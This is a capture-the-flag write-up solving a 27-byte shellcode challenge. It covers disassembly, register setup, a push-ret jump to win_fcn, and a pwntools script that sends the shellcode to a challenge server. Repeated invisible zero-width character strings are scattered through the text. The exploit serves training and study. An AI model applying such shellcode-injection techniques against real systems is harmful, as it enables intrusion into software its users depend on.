← Back to Writeups
CUSTOMMediumpwn

pwn4_call_fcn_small

XESXOR9/2/20264 min read
#pwn#custom#medium#mmap_rwx_shellcode#push_imm32_ret_call#register_argument_setup#shellcode_golf

pwn4_call_fcn_small

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: mmap_rwx_shellcode, push_imm32_ret_call, register_argument_setup, shellcode_golf

Summary

Task: 64-bit NON-PIE shellcoding challenge that mmaps an RWX page and calls a tiny 27-byte attacker buffer; goal is to call win_fcn with the right register arguments. Solution: golf the shellcode by setting the five required argument registers and using push imm32; ret to jump to win_fcn at 0x4006b0, landing exactly at 27 bytes.

pwn4_call_fcn_small — pwn_spbctf

Description

Just call win_fcn and make it print flag for you. oh, and now we limited size of your shellcode!

64-bit x86-64 ELF, NON-PIE (base 0x400000), NX enabled, no stack canary. This is the shellcode-size-limited variant of call_fcn: main reads only 27 bytes of shellcode (fread with nmemb = 0x1b), copies them into an RWX mmap page and calls the buffer. The goal is to invoke win_fcn (0x4006b0) so it prints the flag. The whole challenge is fitting a working call into the 27-byte budget. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main @ 0x400770

mmap(NULL, 0x1000, PROT_READ|WRITE|EXEC=0x7, MAP_PRIVATE|ANON=0x22, -1, 0)  ; RWX page
fread(buf, size=1, nmemb=0x1b, stdin)      ; <-- ONLY 27 BYTES of shellcode
memcpy(rwx, buf, 0x400)
call rwx                                     ; jump into our shellcode

The 0x1b = 27 byte read in nmemb is the only difference from the larger call_fcn challenge (which read 0x400). fread blocks until EOF, so the exploit must close the send side of the socket after delivering the bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

win_fcn @ 0x4006b0 — this is the ARGUMENT-checking variant

Disassembly shows win_fcn is not the global-gate variant. It validates the calling convention register arguments and uses the first argument as the XOR key for the flag decode loop:

cmp edi, 0xcafebabe          ; arg1 (edi) must be the magic value — also the XOR key
... XOR-decode 13 dwords at 0x601050 using edi as key ...
cmp esi, 0x80                ; arg2 (esi)  == 0x80
cmp qword [rbp-0x18], -1     ; arg5 (r8)   == -1
cmp edx, 0x7f                ; arg3 (edx)  == 0x7f
cmp ecx, 0x0                 ; arg4 (ecx)  == 0
-> puts(0x601050)            ; prints the decoded flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So to print the flag the shellcode must set:

RegisterValue
edi0xcafebabe
esi0x80
edx0x7f
ecx0
r8-1

then transfer control to 0x4006b0.

Solution

Byte budget — the actual challenge

A naive jump to win_fcn via mov rax, 0x4006b0; jmp rax costs 12 bytes just for the control transfer, which would blow the 27-byte budget after setting five registers. The golf trick is push imm32; ret: pushing the absolute target and returning into it is only 6 bytes for an absolute call in a NON-PIE binary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

asm
mov edi, 0xcafebabe   ; bf be ba fe ca           (5)  arg1 / XOR key
mov esi, 0x80         ; be 80 00 00 00           (5)  arg2
mov edx, 0x7f         ; ba 7f 00 00 00           (5)  arg3
xor ecx, ecx          ; 31 c9                    (2)  arg4 = 0
or  r8, -1            ; 49 83 c8 ff              (4)  arg5 = -1
push 0x4006b0         ; 68 b0 06 40 00           (5)  win_fcn target
ret                   ; c3                       (1)  -> jumps to win_fcn

Total = 27 bytes, exactly the limit. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key golf tricks:

  • xor ecx, ecx (2 B) instead of mov ecx, 0 (5 B).
  • or r8, -1 (4 B) instead of mov r8, -1 (49 c7 c0 ..., 7 B) to get r8 = 0xffffffffffffffff.
  • push imm32; ret (6 B) instead of mov reg, addr; jmp reg (12 B) — possible only because the binary is NON-PIE so 0x4006b0 fits in a 32-bit immediate.

Delivery

fread waits for EOF, so after sending the 27-byte shellcode we shutdown('send') to signal EOF, then read the puts() flag output.

python
#!/usr/bin/env python3
from pwn import *
import time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = '109.233.56.90', 11650

# win_fcn @0x4006b0 (argument-checking variant) requires:
#   edi==0xcafebabe, esi==0x80, edx==0x7f, ecx==0, r8==-1
#   mov edi,0xcafebabe   bf be ba fe ca
#   mov esi,0x80         be 80 00 00 00
#   mov edx,0x7f         ba 7f 00 00 00
#   xor ecx,ecx          31 c9
#   or  r8,-1            49 83 c8 ff
#   push 0x4006b0        68 b0 06 40 00
#   ret                  c3
# = 27 bytes (fits the 0x1b fread limit exactly)
sc = bytes.fromhex('bfbebafecabe80000000ba7f00000031c94983c8ff68b0064000c3')
assert len(sc) <= 27, len(sc)
log.info("shellcode len = %d", len(sc))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.send(sc)
io.shutdown('send')          # fread needs EOF
time.sleep(0.6)
data = io.recvall(timeout=4)
print(data.decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍